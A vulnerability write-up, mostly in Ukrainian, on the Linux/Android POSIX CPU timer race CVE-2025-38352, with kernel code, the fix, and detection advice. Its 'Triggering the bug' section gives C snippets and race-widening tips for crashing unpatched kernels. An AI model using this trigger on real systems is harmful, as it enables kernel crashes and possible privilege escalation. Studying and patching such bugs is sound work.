POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Ця сторінка документує TOCTOU race condition у Linux/Android POSIX CPU timers, який може пошкодити стан таймера і призвести до падіння ядра, а за певних обставин може бути спрямований на privilege escalation.

Затронутий компонент: kernel/time/posix-cpu-timers.c
Примітив: expiry vs deletion race under task exit
Залежить від конфігурації: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Короткий огляд внутрішньої будови (relevant for exploitation)

Три CPU годинники відповідають за облік таймерів через cpu_clock_sample():
CPUCLOCK_PROF: utime + stime
CPUCLOCK_VIRT: utime only
CPUCLOCK_SCHED: task_sched_runtime()
Створення таймера підключає таймер до task/pid і ініціалізує timerqueue nodes:

static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}

Армування вставляє в per-base timerqueue і може оновити next-expiry cache:

static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}

Швидкий шлях уникає дорогої обробки, якщо тільки кешовані терміни не вказують на можливе спрацьовування:

static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}

Expiration збирає прострочені таймери, позначає їх як спрацьовані, переміщує їх з черги; фактична доставка відкладається:

#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Два режими обробки спрацьовування

CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: спрацьовування відкладається через task_work у цільовому task
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: спрацьовування обробляється безпосередньо в IRQ context

void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

У шляху в контексті IRQ список спрацьовувань обробляється поза sighand

static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit Preconditions

CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
Цільова задача завершується, але ще не повністю зібрана (reaped)
Інший потік одночасно викликає posix_cpu_timer_del() для того ж таймера

Sequence

update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
Негайно після розблокування задача, що завершується, може бути зібрана (reaped); інший потік виконує posix_cpu_timer_del().
У цьому вікні posix_cpu_timer_del() може не змогти отримати стан через cpu_timer_task_rcu()/lock_task_sighand() і тому пропустити звичайну перевірку in-flight, яка дивиться timer->it.cpu.firing. Видалення відбувається так, ніби таймер не firing, пошкоджуючи стан під час обробки спрацювання, що призводить до крашів/UB.

Why TASK_WORK mode is safe by design

With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
Навіть тоді, якщо задача вже завершується, task_work_add() не виконується; перевірка exit_state робить обидва режими консистентними.

Fix (Android common kernel) and rationale

Add an early return if current task is exiting, gating all processing:

// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;

Це запобігає входженню в handle_posix_cpu_timers() для задач, що виходять, усуваючи вікно, у якому posix_cpu_timer_del() може пропустити it.cpu.firing і змагатися з обробкою expiry.

Impact

Пошкодження пам'яті ядра в структурах таймера під час одночасного expiry/видалення може призвести до негайних аварій (DoS) і є потужним примітивом для ескалації привілеїв через можливості довільної маніпуляції станом ядра.

Triggering the bug (safe, reproducible conditions) Build/config

Переконайтеся, що CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n і використовуйте ядро без exit_state gating fix.

Runtime strategy

Орієнтуйтеся на потік, який збирається завершитися, і прикріпіть до нього CPU timer (потоковий або процесний годинник):
Для per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
Для process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
Установіть дуже короткий початковий термін і малий інтервал, щоб максимізувати входження в IRQ-path:

static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}

З сусіднього потоку одночасно видаліть той самий таймер, поки цільовий потік завершується:

void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}

Посилювачі гонок: висока частота тіку планувальника, навантаження CPU, повторювані цикли виходу/повторного створення потоків. Збій зазвичай проявляється, коли posix_cpu_timer_del() не помічає спрацьовування через невдалий пошук/блокування task одразу після unlock_task_sighand().

Detection and hardening

Mitigation: застосувати exit_state guard; за можливості віддавати перевагу увімкненню CONFIG_POSIX_CPU_TIMERS_TASK_WORK.
Observability: додати tracepoints/WARN_ONCE навколо unlock_task_sighand()/posix_cpu_timer_del(); сповіщати, коли it.cpu.firing==1 спостерігається разом з невдалим cpu_timer_task_rcu()/lock_task_sighand(); стежити за невідповідностями timerqueue під час виходу задачі.

Audit hotspots (for reviewers)

update_process_times() → run_posix_cpu_timers() (IRQ)
__run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
collect_timerqueue(): sets ctmr->firing and moves nodes
handle_posix_cpu_timers(): drops sighand before firing loop
posix_cpu_timer_del(): покладається на it.cpu.firing для виявлення спрацьовування в польоті; ця перевірка пропускається, коли пошук/блокування task не вдається під час виходу/збирання

Notes for exploitation research

The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.

12 KiB Raw Blame History Unescape Escape

POSIX CPU Timers TOCTOU race (CVE-2025-38352)

References

12 KiB

Raw Blame History